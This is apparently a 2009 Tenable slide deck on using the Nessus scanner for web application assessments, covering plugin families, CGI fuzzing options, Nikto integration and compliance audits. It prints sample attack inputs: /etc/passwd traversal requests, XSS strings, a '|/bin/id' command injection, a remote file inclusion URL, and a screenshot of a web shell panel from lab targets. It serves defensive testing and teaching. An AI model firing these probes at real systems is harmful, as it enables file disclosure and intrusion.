Using Nessus In Web Application Vulnerability Assessments

Paul Asadoorian
Product Evangelist
Tenable Network Security
pasadoorian@tenablesecurity.com
About Tenable

- Nessus vulnerability scanner, ProfessionalFeed
- Security Center provides “Unified Security Monitoring”
- LCE - Log Correlation Engine
- PVS - Passive Vulnerability Scanning

http://www.tenablesecurity.com/demos/
Who Am I?

• **Product Evangelist at Tenable Network Security**
  - I’m a “blogger”, technical blog postings on how to use Tenable products
  - Assist in research and development of products
  - Tell people how to use the product

• **PaulDotCom**
  - Weekly podcast and webcasts
  - Community for security professionals
  - Author, “Linksys WRT54G Ultimate Hacking”

• **In The Trenches...**
  - Worked for University for 7 years
  - Firewall admin, IDS analyst, response team leader
  - Penetration tester
Why Use Nessus To Test Web Apps?

- Test your own web applications to justify budget for 3rd party web application testing
- Find flaws before your audit to save time & money
- Implement a process for continually finding and fixing web application flaws
- Test the environment that supports you web applications
Using Nessus In Web Application Tests

• Network-based testing
  – Find vulnerabilities in web server software
  – Detect CGI programs and vulnerabilities
  – Configurable “fuzzing” of CGI programs
  – Detect vulnerable web servers and apps
  – Integration of 3rd party tools such as Nikto

Application checks are useful for “blind” tests
Using Nessus In Web Application Tests

- Local patch/configuration auditing

  1) Detect missing patches for most major operating systems and Linux distributions

  2) Compare settings to industry standard hardening guidelines, including:

     • Operating system
     • Web server
     • Database

  3) Create your own custom checks

Copyright © 2009 Tenable Network Security, Inc.
Using Nessus In Web Application Tests

• Use Nessus as part of your web application assessment strategy

• Performing exhaustive tests for all XSS or SQL injection scenarios can take days!
  – Nessus allows you to adjust timers to control scan duration
  – Consider multiple scan configurations

• Supplements manual web application testing
  – Required for a complete audit, especially session manipulation
Selecting Targets: Virtual Hosts

• Web server virtual hosts can mask applications
• Several enumeration techniques available
  – MS Live
  – DNS
  – Banner grabbing

http://lab.lonerunners.net/blog/virtual-host-and-dns-names-enumeration-techniques
Differences Between IP and Hostnames

IP of web server

Medium level vulnerabilities

Domain name specified

High risk vulnerability

Unknown CGI Argument Input Validation Tests (torturecgi)
The following requests seem to allow the reading of sensitive files or XSS. You should manually try them to see if anything bad happens:

- /multiidae?do=logout&page=etc/passwd
- /multiidae?do=logout&page=etc/passwd
- /multiidae?do=logout&page=../etc/passwd
- /multiidae?do=logout&page=../etc/passwd
- /multiidae?do=logout&page=../etc/passwd%00
- /multiidae?do=logout&page=../etc/passwd%00.html
- /multiidae?do=logout&page=../etc/passwd%00.html
- /multiidae?do=logout&page=../etc/passwd%00/index.html
- /multiidae?do=logout&page=../etc/passwd%00/index.html
- /multiidae?
• **CGI abuses** - This plugin family checks for anything that is ‘CGI’ related, unless it is XSS (and only a XSS vulnerability), in which case it falls into the "CGI abuses : XSS" family. These checks use a combination of detection techniques, including checking version of the application and testing for the actual vulnerability. The attacks include software detection, information disclosure, XSS, SQLi, LFI, RFI, overflows and more.

• **CGI abuses : XSS** - Specific CGI checks for reflective and persistent XSS vulnerabilities in common web applications.

• **Database** - Typically a web server will run a database that is used by various web applications.

• **FTP** - Web pages need to be updated, and FTP is a popular protocol used to allow your web developers to send files to the server.

• **Gain a Shell Remotely & Gain root remotely** - If you gain root/shell remotely, resolve this problem before the application is tested.

• **General** - Contains the operating system fingerprinting plugins, including ones that will identify the OS over HTTP. Identifying the underlying operating system is very important for web application testing, as it will determine the syntax of commands sent via injection (command and SQL) attacks.

• **Remote file access** - Includes checks for specific web server/application vulnerabilities that lead to remote file disclosure.

• **Service detection** - Contains checks for several different services, including detecting Apache running HTTPS, HTTP CONNECT proxy settings and other services that may host web applications.

• **Web servers** - Plugins in this family detect approximately 300 specific vulnerabilities in popular web servers, such as Apache, IIS and generic vulnerabilities associated with the HTTP protocol itself.
Advanced Options - Global variable settings

- **“Enable CGI scanning”** - Sends various test strings to CGI programs to find vulnerabilities & enables CGI plugins

- **“Enable experimental scripts”** - Test for vulnerabilities that use new techniques

- **“Thorough tests (slow)”** - Crawls and tests more web pages, enables more exhaustive SQL injection testing
Advanced - Web Mirroring

- Web mirroring - Specify the web server directory you wish to scan
  - Forces Nessus to crawl it AND test it for CGI vulnerabilities
  - Results are sent to the torturecgi nasl for testing

If you know where the applications live, specify them in the list.

Exclude other directories to save time.
Nessus: Nikto Integration

- Included with Nessus in the “CGI Abuses” family is “Nikto (Nasl Wrapper)"
  - Runs Nikto against the target(s)
  - “nikto.pl” must be in your path on the Nessus server
  - Works with Nikto 2.03 (latest, download from http://www.cirt.net/nikto2)

```
start() {
    KIND="Nessus"
    PATH=/opt/nikto:$PATH; export PATH
    echo -n "$Starting Nessus : 
    /opt/nessus/sbin/nessus-service -D -q
    echo "."
    return 0
}
```

Modified /etc/init.d/nessus

## Example Nikto Results

### Nikto (NASL wrapper)

Here is the Nikto report:
- Nikto v2.03/2.04

+ Target IP: 192.168.1.26
+ Target Hostname: 192.168.1.26
+ Target Port: 80
+ Start Time: 2009-05-19 18:45:29

+ Server: Apache/2.2.3 (CentOS)
- Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST.
+ Apache/2.2.3 appears to be outdated (current is at least Apache/2.2.10). Apache 1.3.41 and 2.0.63 are also current.
+ OSVDB-3092: GET /phpmyadmin/ : phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3092: GET /phpMyAdmin/ : phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: GET /icons/ : Directory indexing is enabled: /icons
+ OSVDB-3233: GET /icons/README : Apache default file found.
+ 3577 items checked: 8 item(s) reported on remote host
+ End Time: 2009-05-19 18:45:51 (22 seconds)

+ 1 host(s) tested

Nessus: HMAP HTTP Server Detection

- Based on research from UCDavis
- Nessus (Michel Arboi) includes this research based on reference implementation
- Works similarly to TCP/IP-based OS fingerprinting
- Trying to hide your web server by changing the banner? Think again...
- Must enable “Thorough checks” and disable “Safe Checks”!

**Plugin output:**

This web server was fingerprinted as: Apache/2.0.50-2.2.4 (Linux) which is consistent with the displayed banner: Apache/2.2.3 (CentOS)
Web Application Test Settings

- Complete overhaul in June 2009
- Reads results of web mirror then tests:
  - SQL injection
  - Cross-site Scripting
  - Remote File Inclusion
  - Directory Traversal sequences
  - Encoded Directory Traversal sequences (e.g., ..%2F..%2Fetc)
  - Command injection (e.g., |/bin/id)

NOTE: THIS SCRIPT IS NOT MEANT TO REPLACE HUMAN EXAMINATION OR A PROPER APPLICATION AUDIT. THIS SCRIPT IS DESIGNED TO DO RUDIMENTARY TESTING ONLY.
Web App Tests

- Specify how long Nessus should test web apps
- Applies to one web site’s ports and applications for each attack
- Enable/disable testing embedded web servers
Web App Tests

• “Combinations of arguments value” determines how Nessus will test each parameter of the CGI
• Very powerful feature, not found or configurable in some web application testing tools
• Has a huge impact on time...
Combinations Testing: One Value

• Suppose Nessus found a CGI, vuln.php, that takes three parameters
  – ID - 1,2
  – CAT - 10,11
  – COLOR - r,b

• Nessus will send just two attack strings in this example:
  – ATT1 = <script>alert("foo");</script>
  – ATT2 = <body onload=alert("foo");>

Valid Request:
/vuln.php?id=1&cat=10&color=r
“One value” (Single Mode)

```
/vuln.php?id=ATT1&cat=10&color=r
/vuln.php?id=ATT2&cat=10&color=r
/vuln.php?id=1&cat=ATT1&color=r
/vuln.php?id=1&cat=ATT2&color=r
/vuln.php?id=1&cat=10&color=ATT1
/vuln.php?id=1&cat=10&color=ATT2
```

Both “cat” and “color” never change

Several other combinations not tested!

Nessus uses the first value found in web mirroring as the static value for all testing
Some variables remain static, but more thorough than single mode

Nessus uses first value discovered in web mirror

Ex. We never test when “color=b” and “cat=11”
All Combinations Mode

All combinations of all parameters are tested with each attack string. This can be time consuming!

Ex. We test each combo
Web App Tests

- To help save time, tell Nessus when to stop
- Applies to each host being tested
Example: Moth

CGI Generic Remote File Inclusion Vulnerability

Synopsis:
Arbitrary code may be run on the remote server.

Description:
The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

See also:

Solution:
Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk factor:
High / CVSS Base Score: 7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

Plugin output:
Using the GET HTTP method, Nessus found that:
+ The following resources may be vulnerable to Web code injection:

/w3af/audit/local_file_inclusion/trivial_lfi.php?file=http://3lt2MY66.example.com/8195133142-16-4-1A019E5FD4175C4CB2410D0D988B14455C5890&name=&message=&rating=5&org.apache.struts.taglib.html.CANC
--- output ---
<br>Warning</b>: require(http://3lt2MY66.example.com/) [<a href='function.require'>function.require</a>()]
<br/>
<br>Fatal error</b>: require() [<a href='function.require'>function.require</a>()]

---------------------

--- output ---
<br>Warning</b>: require(http://3lt2MY66.example.com/) [<a href='function.require'>function.require</a>()]
<br/>
<br>Fatal error</b>: require() [<a href='function.require'>function.require</a>()]

---------------------

Clicking directly on these URLs might expose the vulnerabilities:
(you probably need to check the HTML source)


---

Copyright © 2009 Tenable Network Security, Inc.
Manual Testing Of Remote File Include

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Modify</th>
<th>Owner/Group</th>
<th>Perms</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>LINK</td>
<td>43 B</td>
<td>01.03.2009 11:20:03</td>
<td>www-data/www-data</td>
<td>read-only</td>
<td></td>
</tr>
<tr>
<td>LINK</td>
<td>58 B</td>
<td>01.03.2009 11:20:03</td>
<td>www-data/www-data</td>
<td>read-only</td>
<td></td>
</tr>
<tr>
<td>DIR</td>
<td>28 B</td>
<td>01.03.2009 11:20:03</td>
<td>www-data/www-data</td>
<td>read-only</td>
<td></td>
</tr>
<tr>
<td>[ .svn ] section.php</td>
<td>2 B</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>toBeIncluded.txt</td>
<td>43 B</td>
<td>01.03.2009 11:20:03</td>
<td>www-data/www-data</td>
<td>read-only</td>
<td></td>
</tr>
<tr>
<td>vulnerable.php</td>
<td>43 B</td>
<td>01.03.2009 11:20:03</td>
<td>www-data/www-data</td>
<td>read-only</td>
<td></td>
</tr>
</tbody>
</table>

Select all | Unselect all | With selected: | Confirm

:: Command execute ::

Enter: 

Select: 

:: Search ::

(*) - regexp 

Search

:: Upload ::

Choose File | no file selected | Upload

:: Make Dir ::

/var/www/w3af/audit/remoteFileInclusion/

Create

:: Make File ::

/var/www/w3af/audit/remoteFileInclusion/

Create

:: Go Dir ::

/var/www/w3af/audit/remoteFileInclusion/

Go

:: Go File ::

/var/www/w3af/audit/remoteFileInclusion/

Go
Example: Cross-Site Scripting

CGI Generic Cross-Site Scripting Vulnerability

Synopsis:
The remote web server is prone to cross-site scripting attacks.

Description:
The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site.

See also:
http://en.wikipedia.org/wiki/Cross-site_scripting

Solution:
Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk factor:
Medium / CVSS Base Score: 4.3
(CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

Plugin output:
Using the GET HTTP method, Nessus found that:

+ The following resources may be vulnerable to Cross site scripting:

 `/php-ids/w3af/audit/xss/no_tag_xss.php?text=foobar&country=CA&language=en` output

---
Start--
```
<\img src="foobar">\n```
---End---

`/mod_security/w3af/audit/xss/no_tag_xss.php?text=foobar&1653133142=16-36-1` output

---
Start--
```
<\img src="foobar">\n```
---End---

`/mod_security/w3af/audit/xss/simple_xss_no_quotes.php?text=foobar&18531331` output
---
Manual Testing: XSS

Clicking directly on these URLs might expose the vulnerabilities:
(you will probably need to check the HTML source)


Start-- End
Nessus Credentialed Scanning Web Apps

- Nessus can audit the local configuration, primary areas are:
  - **Local Checks** - Provides patch audit of the system
  - **OS Specific Audits** - Audit files compare your operating system configuration to a standard
  - **Web Server Audits** - Compares your web server configuration to a standard
  - **Database Audits** - Checks the database configuration against a known standard
Local Testing With Nessus

• Nessus scanning with credentials allows you to audit patch levels and configuration

• Local checks help with web application assessments by identifying missing patches:
  – Apache
  – PHP
  – IIS
  – OpenSSL
  – MySQL

Fedora Core 5 2007-617: httpd

The remote host is missing the patch for the advisory FEDORA-2007-617 (httpd).

The Apache HTTP Server is a powerful, efficient, and extensible web server.

Update Information:

The Apache HTTP Server did not verify that a process was an Apache child process before sending it signals. A local attacker with the ability to run scripts on the Apache HTTP Server could manipulate the scoreboard and cause arbitrary processes to be terminated which could lead to a denial of service (CVE-2007-3304). This issue is not exploitable on Fedora if using the default SELinux targeted policy.

A flaw was found in the Apache HTTP Server mod_status module. On sites where the server-status page is publicly accessible and ExtendedStatus is enabled this could lead to a cross-site scripting attack. On Fedora the server-status page is not enabled by default and it is best practice to not make this publicly available. (CVE-2006-5752)

A bug was found in the Apache HTTP Server mod_cache module. On sites where caching is enabled, a remote attacker could send a carefully crafted request that would cause the Apache child process handling that request to crash. This could lead to a denial of service if using a threaded Multi-Processing Module. (CVE-2007-1863)

Solution: Get the newest Fedora Updates
Risk factor: High

Plugin output:
Remote package installed: httpd-2.2.0-5.1.2
Should be: httpd-2.2.2-1.3
Audit Policies

- Allow you to compare your system settings to pre-defined standards
  - Must be a Nessus ProfessionalFeed customer
  - Scans must contain credentials for targets
  - Credentials do not need administrative privileges
- Check for things like safe_mode
  - This is great for large organizations with multiple environments and little control over the developers, e.g. Universities

Unix Compliance Checks
"2. Check if safe_mode is set to On." [FAILED]

Note: This feature has been REMOVED as of PHP 6.0.0
File: /etc/php.ini

Nessus ID: 21157
OWASP Check Failing
Audit Policies: Operating System

• Several different standards to choose from:
  - CIS Benchmarks
    • http://www.cisecurity.org/
  - DISA
    • http://iase.disa.mil/stigs/checklist/
  - GLBA
    • http://www.ftc.gov/privacy/privacyinitiatives/glbact.html
  - HIPAA
    • http://www.cms.hhs.gov/HIPAAAGenInfo/
  - FDCC
    • http://nvd.nist.gov/fdcc/
Audit Policies: Database

- **CIS_MySQL_4.1_5.1 Benchmark_v1.0.1.audit** - This database audit file implements a majority of the SQL specific checks from the CIS MySQL 4.1, 5.0, 5.1 Community Editions v 1.0.1. (Last updated February 27, 2009.)

- **SQL Server 2005 CIS_SQL2005_Benchmark_v1_1** - Implements a majority of the SQL specific checks from the CIS SQLServer 2005 Benchmark v 1.1 for Windows systems. (Last updated February 4, 2009.)

Make sure the database is locked down.
Accessing the database is just as good as shell!

Database Compliance Checks

"4.7 Verify Secure Password Hashes": [FAILED]

All password hashes should be 41 bytes or longer

Remote value:

```
"root", 3c8c1a8e271e4bad
"root",
...
"mambo", 3c8c1a8e271e4bad
"nessus", 5947db9f694f67a3
```

Policy value:

NULL

Nessus ID: 33814
Audit Files For Web Application Servers

• **Tenable Apache Best Practices** - Consists of a list of best practices checks for a host running Apache web server. (Last updated March 3, 2009.)

• **Tenable IIS Best Practices** - Consists of a list of best practices checks for a Microsoft IIS 6 server. (Last updated April 1, 2009.)

• **OWASP best practice recommendations** - This document implements OWASP best practice recommendations for PHP. (Last updated March 3, 2009.)

• **CIS_Apache_v2_1** - This audit file implements a majority of the configuration checks from the CIS Level 1 Benchmark/ Apache v2.1 guide for Linux systems. (Last updated October 21, 2008.)

The above audit files can be downloaded from [https://plugins-customers.nessus.org](https://plugins-customers.nessus.org)
Create Your Own!

• You can easily create your own audit policies
• Tailor them to your policies and procedures
  – You do have those, right?
• Even better, take an existing one and modify it!

Almost as fun as building your own wireless policy enforcer!
Example: Replacing Base64 with DIGEST

- Base64 encoded passwords traveling across the network are “bad”
- They are sometimes found trying to protect web applications
- I wrote an audit file entry for Apache servers
  - Check to see if Base64 is being used

```plaintext
type               : FILE_CONTENT_CHECK_NOT
description        : "Check if AuthType entry in httpd.conf is correctly set"
file               : "httpd.conf"
search_locations   : "/usr/local/apache/conf:/etc/httpd"
regex              : "^[^#]*AuthType .*
expect             : "AuthType Basic"
```
Web App Assessment: Where we are going...

- Nessus 4 is much faster, we now have bandwidth to do more, patch audits and probes
- Assisting with PCI DSS audits and continuing to keep up with PCI as a standard
- Researching more ways to use white box testing (.audit files) to audit web servers
- Enhancing our passive network analysis and log correlation tools to look for more web attacks
- We have a strong web application assessment methodology created from both previous experiences and working with the plugins. We are working on getting Nessus 4 to provide more extensive coverage
Playgrounds For Your Web App Assessments

• **Virtual Machines**
  - DVL (Damn Vulnerable Linux)
    - http://www.damnvulnerablelinux.org/
  - Moth

• **Stand-alone Applications**
  - Stanford SecuriBench
    - http://suif.stanford.edu/~livshits/securibench/
  - WebGoat
  - Mutillidae

• **Remote Sites**
  - Acunetix:
    - http://testphp.acunetix.com/
Blog Posts: http://blog.tenablesecurity.com

- Scanning Multiple Apache VirtualHosts With Nessus

- Tips For Using Nessus In Web Application Testing

- Auditing PHP Settings to OWASP Recommendations with Nessus

- Detecting Base64 Encoded Authentication Requests
Contact

pasadoorian@tenablesecurity.com

- Web:  http://www.tenablesecurity.com
- Videos:  http://www.nessus.org/demos
- Blog:  http://blog.tenablesecurity.com